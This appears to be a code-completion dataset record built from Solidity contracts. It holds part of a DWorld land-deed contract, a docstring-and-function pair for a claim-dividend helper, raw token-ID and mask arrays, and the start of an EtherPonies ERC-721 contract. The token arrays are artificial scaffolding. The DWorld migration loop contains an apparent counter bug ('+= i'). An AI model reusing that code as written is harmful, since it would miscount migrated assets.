contract. /// @param _deedId The identifier of the deed to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; transferMultiple(_to, _deedIds); } /// @notice Transfers multiple deeds to another address. If transferring to /// a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721, /// or your deeds may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedIds The identifiers of the deeds to transfer. function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. require(_to != address(this)); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // One can only transfer their own plots. require(_owns(msg.sender, _deedId)); // Transfer ownership _transfer(msg.sender, _to, _deedId); } } /// @notice Transfer a deed owned by another address, for which the calling /// address has previously been granted transfer approval by the owner. /// @param _deedId The identifier of the deed to be transferred. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; takeOwnershipMultiple(_deedIds); } /// @notice Transfer multiple deeds owned by another address, for which the /// calling address has previously been granted transfer approval by the owner. /// @param _deedIds The identifier of the deed to be transferred. function takeOwnershipMultiple(uint256[] _deedIds) public whenNotPaused { for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; address _from = identifierToOwner[_deedId]; // Check for transfer approval require(_approvedFor(msg.sender, _deedId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, msg.sender, _deedId); } } /// @notice Returns a list of all deed identifiers assigned to an address. /// @param _owner The owner whose deeds we are interested in. /// @dev This method MUST NEVER be called by smart contract code. It's very /// expensive and is not supported in contract-to-contract calls as it returns /// a dynamic array (only supported for web3 calls). function deedsOfOwner(address _owner) external view returns(uint256[]) { uint256 deedCount = countOfDeedsByOwner(_owner); if (deedCount == 0) { // Return an empty array. return new uint256[](0); } else { uint256[] memory result = new uint256[](deedCount); uint256 totalDeeds = countOfDeeds(); uint256 resultIndex = 0; for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { result[resultIndex] = identifier; resultIndex++; } } return result; } } /// @notice Returns a deed identifier of the owner at the given index. /// @param _owner The address of the owner we want to get a deed for. /// @param _index The index of the deed we want. function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { // The index should be valid. require(_index < countOfDeedsByOwner(_owner)); // Loop through all plots, accounting the number of plots of the owner we've seen. uint256 seen = 0; uint256 totalDeeds = countOfDeeds(); for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { if (seen == _index) { return identifier; } seen++; } } } /// @notice Returns an (off-chain) metadata url for the given deed. /// @param _deedId The identifier of the deed to get the metadata /// url for. /// @dev Implementation of optional ERC-721 functionality. function deedUri(uint256 _deedId) external pure returns (string uri) { require(validIdentifier(_deedId)); var (x, y) = identifierToCoordinate(_deedId); // Maximum coordinate length in decimals is 5 (65535) uri = "https://dworld.io/plot/xxxxx/xxxxx"; bytes memory _uri = bytes(uri); for (uint256 i = 0; i < 5; i++) { _uri[27 - i] = byte(48 + (x / 10 ** i) % 10); _uri[33 - i] = byte(48 + (y / 10 ** i) % 10); } } } /// @dev Migrate original data from the old contract. contract DWorldUpgrade is DWorldMinting { OriginalDWorldDeed originalContract; ClockAuction originalSaleAuction; ClockAuction originalRentAuction; /// @notice Keep track of whether we have finished migrating. bool public migrationFinished = false; /// @dev Keep track of how many plots have been transferred so far. uint256 migrationNumPlotsTransferred = 0; function DWorldUpgrade( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress ) public { if (originalContractAddress != 0) { _startMigration(originalContractAddress, originalSaleAuctionAddress, originalRentAuctionAddress); } else { migrationFinished = true; } } /// @dev Migrate data from the original contract. Assumes the original /// contract is paused, and remains paused for the duration of the /// migration. /// @param originalContractAddress The address of the original contract. function _startMigration( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress ) internal { // Set contracts. originalContract = OriginalDWorldDeed(originalContractAddress); originalSaleAuction = ClockAuction(originalSaleAuctionAddress); originalRentAuction = ClockAuction(originalRentAuctionAddress); // Start paused. paused = true; // Get count of original plots. uint256 numPlots = originalContract.countOfDeeds(); // Allocate storage for the plots array (this is more // efficient than .push-ing each individual plot, as // that requires multiple dynamic allocations). plots.length = numPlots; } function migrationStep(uint256 numPlotsTransfer) external onlyOwner whenPaused { // Migration must not be finished yet. require(!migrationFinished); // Get count of original plots. uint256 numPlots = originalContract.countOfDeeds(); // Loop through plots and assign to original owner. uint256 i; for (i = migrationNumPlotsTransferred; i < numPlots && i < migrationNumPlotsTransferred + numPlotsTransfer; i++) { uint32 _deedId = originalContract.plots(i); // Set plot. plots[i] = _deedId; // Get the original owner and transfer. address owner = originalContract.ownerOf(_deedId); // If the owner of the plot is an auction contract, // get the actual owner of the plot. address seller; if (owner == address(originalSaleAuction)) { (seller, ) = originalSaleAuction.getAuction(_deedId); owner = seller; } else if (owner == address(originalRentAuction)) { (seller, ) = originalRentAuction.getAuction(_deedId); owner = seller; } _transfer(address(0), owner, _deedId); // Set the initial price paid for the plot. initialPricePaid[_deedId] = 0.0125 ether; // The initial buyout price. uint256 _initialBuyoutPrice = 0.050 ether; // Set the initial buyout price. identifierToBuyoutPrice[_deedId] = _initialBuyoutPrice; // Trigger the buyout price event. SetBuyoutPrice(_deedId, _initialBuyoutPrice); // Mark the plot as being an original. identifierIsOriginal[_deedId] = true; } migrationNumPlotsTransferred += i; // Finished migration. if (i == numPlots) { migrationFinished = true; } } } /// @dev Implements highest-level DWorld functionality. contract DWorldCore is DWorldUpgrade { /// If this contract is broken, this will be used to publish the address at which an upgraded contract can be found address public upgradedContractAddress; event ContractUpgrade(address upgradedContractAddress); function DWorldCore( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress, uint256 buyoutsEnabledAfterHours ) DWorldUpgrade(originalContractAddress, originalSaleAuctionAddress, originalRentAuctionAddress) public { buyoutsEnabledFromTimestamp = block.timestamp + buyoutsEnabledAfterHours * 3600; } /// @notice Only to be used when this contract is significantly broken, /// and an upgrade is required. function setUpgradedContractAddress(address _upgradedContractAddress) external onlyOwner whenPaused { upgradedContractAddress = _upgradedContractAddress; ContractUpgrade(_upgradedContractAddress); } /// @notice Set the data associated with a plot. function setPlotData(uint256 _deedId, string name, string description, string imageUrl, string infoUrl) public whenNotPaused { // The sender requesting the data update should be // the owner. require(_owns(msg.sender, _deedId)); // Set the data _setPlotData(_deedId, name, description, imageUrl, infoUrl); } /// @notice Set the data associated with multiple plots. function setPlotDataMultiple(uint256[] _deedIds, string name, string description, string imageUrl, string infoUrl) external whenNotPaused { for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; setPlotData(_deedId, name, description, imageUrl, infoUrl); } } /// @notice Withdraw Ether owed to the sender. function withdrawBalance() external { uint256 etherOwed = addressToEtherOwed[msg.sender]; // Ensure Ether is owed to the sender. require(etherOwed > 0); // Set Ether owed to 0. delete addressToEtherOwed[msg.sender]; // Subtract from total outstanding balance. etherOwed is guaranteed // to be less than or equal to outstandingEther, so this cannot // underflow. outstandingEther -= etherOwed; // Transfer Ether owed to the sender (not susceptible to re-entry // attack, as the Ether owed is set to 0 before the transfer takes place). msg.sender.transfer(etherOwed); } /// @notice Withdraw (unowed) contract balance. function withdrawFreeBalance() external onlyCFO { // Calculate the free (unowed) balance. This never underflows, as // outstandingEther is guaranteed to be less than or equal to the // contract balance. uint256 freeBalance = this.balance - outstandingEther; cfoAddress.transfer(freeBalance); } }
@dev Assign claim dividend to an address. @param _from The address who paid the dividend. @param _to The dividend beneficiary. @param _deedIdFrom The identifier of the deed the dividend is being paid for. @param _deedIdTo The identifier of the deed the dividend is being paid to. Trigger event. Assign the dividend.
function _assignClaimDividend(address _from, address _to, uint256 _deedIdFrom, uint256 _deedIdTo) internal { uint256 _claimDividend = claimDividend(); ClaimDividend(_from, _to, _deedIdFrom, _deedIdTo, _claimDividend); _assignBalance(_to, _claimDividend); }
15,801,550
[ 1, 4910, 7516, 31945, 358, 392, 1758, 18, 225, 389, 2080, 1021, 1758, 10354, 30591, 326, 31945, 18, 225, 389, 869, 1021, 31945, 27641, 74, 14463, 814, 18, 225, 389, 323, 329, 548, 1265, 1021, 2756, 434, 326, 443, 329, 326, 31945, 353, 3832, 30591, 364, 18, 225, 389, 323, 329, 28803, 1021, 2756, 434, 326, 443, 329, 326, 31945, 353, 3832, 30591, 358, 18, 11321, 871, 18, 12093, 326, 31945, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 6145, 9762, 7244, 26746, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 323, 329, 548, 1265, 16, 2254, 5034, 389, 323, 329, 28803, 13, 2713, 288, 203, 3639, 2254, 5034, 389, 14784, 7244, 26746, 273, 7516, 7244, 26746, 5621, 203, 540, 203, 3639, 18381, 7244, 26746, 24899, 2080, 16, 389, 869, 16, 389, 323, 329, 548, 1265, 16, 389, 323, 329, 28803, 16, 389, 14784, 7244, 26746, 1769, 203, 540, 203, 3639, 389, 6145, 13937, 24899, 869, 16, 389, 14784, 7244, 26746, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens interface ERC721 { // Required methods function totalSupply() external view returns (uint256 total); function balanceOf(address _owner) external view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } /// @title SEKRETOOOO contract GeneScienceInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isGeneScience() public pure returns (bool); /// @dev given genes of pony 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of dad /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); // calculate the cooldown of child pony function processCooldown(uint16 childGen, uint256 targetBlock) public returns (uint16); // calculate the result for upgrading pony function upgradePonyResult(uint8 unicornation, uint256 targetBlock) public returns (bool); function setMatingSeason(bool _isMatingSeason) public returns (bool); } /// @title Interface for contracts conforming to ERC-20 interface ERC20 { //core ERC20 functions function transfer(address _to, uint _value) external returns (bool success); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool success); function transferPreSigned(bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce) external returns (bool); function recoverSigner(bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce) external view returns (address); } /** * @title Signature verifier * @dev To verify C level actions */ contract SignatureVerifier { function splitSignature(bytes sig) internal pure returns (uint8, bytes32, bytes32) { require(sig.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } return (v, r, s); } function recover(bytes32 hash, bytes sig) public pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables (v, r, s) = splitSignature(sig); // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash)); return ecrecover(prefixedHash, v, r, s); } } } /** * @title A DEKLA token access control * @author DEKLA (https://www.dekla.io) * @dev The Dekla token has 3 C level address to manage. * They can execute special actions but it need to be approved by another C level address. */ contract AccessControl is SignatureVerifier { using SafeMath for uint256; // C level address that can execute special actions. address public ceoAddress; address public cfoAddress; address public cooAddress; address public systemAddress; uint256 public CLevelTxCount_ = 0; mapping(address => uint256) nonces; // @dev C level transaction must be approved with another C level address modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } // @dev return true if transaction already signed by a C Level address // @param _message The string to be verify function signedByCLevel( bytes32 _message, bytes _sig ) internal view onlyCLevel returns (bool) { address signer = recover(_message, _sig); require(signer != msg.sender); return ( signer == cooAddress || signer == ceoAddress || signer == cfoAddress ); } // @dev return true if transaction already signed by a C Level address // @param _message The string to be verify // @param _sig the signature from signing the _message with system key function signedBySystem( bytes32 _message, bytes _sig ) internal view returns (bool) { address signer = recover(_message, _sig); require(signer != msg.sender); return ( signer == systemAddress ); } /** * @notice Hash (keccak256) of the payload used by setCEO * @param _newCEO address The address of the new CEO * @param _nonce uint256 setCEO transaction number. */ function getCEOHashing(address _newCEO, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E94), _newCEO, _nonce)); } // @dev Assigns a new address to act as the CEO. The C level transaction, must verify. // @param _newCEO The address of the new CEO // @param _sig the signature from signing the _message with CEO key function setCEO( address _newCEO, bytes _sig ) external onlyCLevel { require( _newCEO != address(0) && _newCEO != cfoAddress && _newCEO != cooAddress ); bytes32 hashedTx = getCEOHashing(_newCEO, nonces[msg.sender]); require(signedByCLevel(hashedTx, _sig)); nonces[msg.sender]++; ceoAddress = _newCEO; CLevelTxCount_++; } /** * @notice Hash (keccak256) of the payload used by setCFO * @param _newCFO address The address of the new CFO * @param _nonce uint256 setCFO transaction number. */ function getCFOHashing(address _newCFO, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E95), _newCFO, _nonce)); } // @dev Assigns a new address to act as the CFO. The C level transaction, must verify. // @param _newCFO The address of the new CFO function setCFO( address _newCFO, bytes _sig ) external onlyCLevel { require( _newCFO != address(0) && _newCFO != ceoAddress && _newCFO != cooAddress ); bytes32 hashedTx = getCFOHashing(_newCFO, nonces[msg.sender]); require(signedByCLevel(hashedTx, _sig)); nonces[msg.sender]++; cfoAddress = _newCFO; CLevelTxCount_++; } /** * @notice Hash (keccak256) of the payload used by setCOO * @param _newCOO address The address of the new COO * @param _nonce uint256 setCO transaction number. */ function getCOOHashing(address _newCOO, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E96), _newCOO, _nonce)); } // @dev Assigns a new address to act as the COO. The C level transaction, must verify. // @param _newCOO The address of the new COO, _sig signature used to verify COO address // @param _sig the signature from signing the _newCOO with 1 of the C-level key function setCOO( address _newCOO, bytes _sig ) external onlyCLevel { require( _newCOO != address(0) && _newCOO != ceoAddress && _newCOO != cfoAddress ); bytes32 hashedTx = getCOOHashing(_newCOO, nonces[msg.sender]); require(signedByCLevel(hashedTx, _sig)); nonces[msg.sender]++; cooAddress = _newCOO; CLevelTxCount_++; } function getNonces(address _sender) public view returns (uint256) { return nonces[_sender]; } } /// @title A facet of PonyCore that manages special access privileges. contract PonyAccessControl is AccessControl { /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } /// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyBase is PonyAccessControl { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new pony comes into existence. This obviously /// includes any time a pony is created through the giveBirth method, but it is also called /// when a new gen0 pony is created. event Birth(address owner, uint256 ponyId, uint256 matronId, uint256 sireId, uint256 genes); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a pony /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main Pony struct. Every pony in MyEtherPonies is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Pony { // The Pony's genetic code is packed into these 256-bits, the format is // sooper-sekret! A pony's genes never change. uint256 genes; // The timestamp from the block when this pony came into existence. uint64 birthTime; // The minimum timestamp after which this pony can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this Pony, set to 0 for gen0 ponies. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion ponies. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won't be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire pony for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a pony // is pregnant. Used to retrieve the genetic material for the new // pony when the birth transpires. uint32 matingWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this Pony. This starts at zero // for gen0 ponies, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this ponies is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this pony. ponies minted by the EP contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other ponies is the larger of the two generation // numbers of their parents, plus one. // (i.e. max(matron.generation, sire.generation) + 1) uint16 generation; uint16 txCount; uint8 unicornation; } /*** CONSTANTS ***/ /// @dev A lookup table indicating the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a pony /// is bred, encouraging owners not to just keep breeding the same pony over /// and over again. Caps out at one week (a pony can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[10] public cooldowns = [ uint32(1 minutes), uint32(5 minutes), uint32(30 minutes), uint32(1 hours), uint32(4 hours), uint32(8 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; uint8[5] public incubators = [ uint8(5), uint8(10), uint8(15), uint8(20), uint8(25) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Pony struct for all Ponies in existence. The ID /// of each pony is actually an index into this array. Note that ID 0 is a genesispony, /// the unPony, the mythical beast that is the parent of all gen0 ponies. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, pony ID 0 is invalid... ;-) Pony[] ponies; /// @dev A mapping from ponies IDs to the address that owns them. All ponies have /// some valid owner address, even gen0 ponies are created with a non-zero owner. mapping(uint256 => address) public ponyIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping(address => uint256) ownershipTokenCount; /// @dev A mapping from PonyIDs to an address that has been approved to call /// transferFrom(). Each Pony can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping(uint256 => address) public ponyIndexToApproved; /// @dev A mapping from PonyIDs to an address that has been approved to use /// this Pony for siring via breedWith(). Each Pony can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping(uint256 => address) public matingAllowedToAddress; mapping(address => bool) public hasIncubator; /// @dev The address of the ClockAuction contract that handles sales of Ponies. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev The address of a custom ClockAuction subclassed contract that handles siring /// auctions. Needs to be separate from saleAuction because the actions taken on success /// after a sales and siring auction are quite different. SiringClockAuction public siringAuction; BiddingClockAuction public biddingAuction; /// @dev Assigns ownership of a specific Pony to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // Since the number of ponies is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; // transfer ownership ponyIndexToOwner[_tokenId] = _to; // When creating new ponies _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // once the pony is transferred also clear sire allowances delete matingAllowedToAddress[_tokenId]; // clear any previously approved ownership exchange delete ponyIndexToApproved[_tokenId]; } // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } /// @dev An internal method that creates a new Pony and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The Pony ID of the matron of this pony (zero for gen0) /// @param _sireId The Pony ID of the sire of this pony (zero for gen0) /// @param _generation The generation number of this pony, must be computed by caller. /// @param _genes The Pony's genetic code. /// @param _owner The inital owner of this pony, must be non-zero (except for the unPony, ID 0) function _createPony( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner, uint16 _cooldownIndex ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createPony() is already // an expensive call (for storage), and it doesn't hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); Pony memory _pony = Pony({ genes : _genes, birthTime : uint64(now), cooldownEndBlock : 0, matronId : uint32(_matronId), sireId : uint32(_sireId), matingWithId : 0, cooldownIndex : _cooldownIndex, generation : uint16(_generation), unicornation : 0, txCount : 0 }); uint256 newPonyId = ponies.push(_pony) - 1; require(newPonyId == uint256(uint32(newPonyId))); // emit the birth event emit Birth( _owner, newPonyId, uint256(_pony.matronId), uint256(_pony.sireId), _pony.genes ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newPonyId); return newPonyId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The facet of the EtherPonies core contract that manages ownership, ERC-721 (draft) compliant. /// @author Dekla (https://www.dekla.io) /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyOwnership is PonyBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "EtherPonies"; string public constant symbol = "EP"; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Pony. /// @param _claimant the address we are validating against. /// @param _tokenId pony id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return ponyIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Pony. /// @param _claimant the address we are confirming pony is approved for. /// @param _tokenId pony id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return ponyIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Ponies on auction, and /// there is no value in spamming the log 